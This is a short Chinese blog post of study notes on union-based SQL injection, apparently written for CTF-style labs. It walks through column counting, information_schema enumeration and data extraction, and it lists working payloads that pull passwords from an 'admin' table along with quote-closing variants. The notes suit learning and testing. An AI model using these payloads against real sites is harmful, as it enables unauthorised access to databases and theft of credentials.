SQL注入

SQL注入的核心:将用户的输入拼接到sql语句中,并被当做代码执行

注入基本流程:

        判断是否存在注入

        判断字段数

        判断显错位置

        判断库名

        判断表名

        判断列名

        寻找具体数据

  1. SQL注入:

  • union =>联合查询:将两条SQL语句的结果一齐输出(满足条件:相同字段数)
  • order by =>排序(得到原有查询语句输出结果有几个字段)
  • database() =>数据库 (显示当前数据库的库名)
  • information_schema
    information_schema库里面存放着tables表,里面存放着数据库和数据表之间的关联
  • 库.表.字段 =>选中X库中的X表的X字段
  • table_name from information_schema.tables where table_schema=database() =>获取表名
  • union select 1,column_name from information_schema.columns where table_name=’admin’ and table_schema=database() =>获取字段名
  • limit => 分页
    limit n,m =>从第n+1条数据开始取m条数据
  • 查找数据 union select 1,password from admin

union select 1,table_name from information_schema.tables where table_schema='xxx'

查询表名

列名同理

union slect 1,column_name from information_schema.columns where table_name='xxx' and table_name='xxx'

最后union select 1,2,flag from error_flag

 

 这种情况需要使用单引号闭合

' union select 1,2,database() -- qwe

 其他同理

' -- qwe

" -- qwe

) -- qwe

") -- qwe

……

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值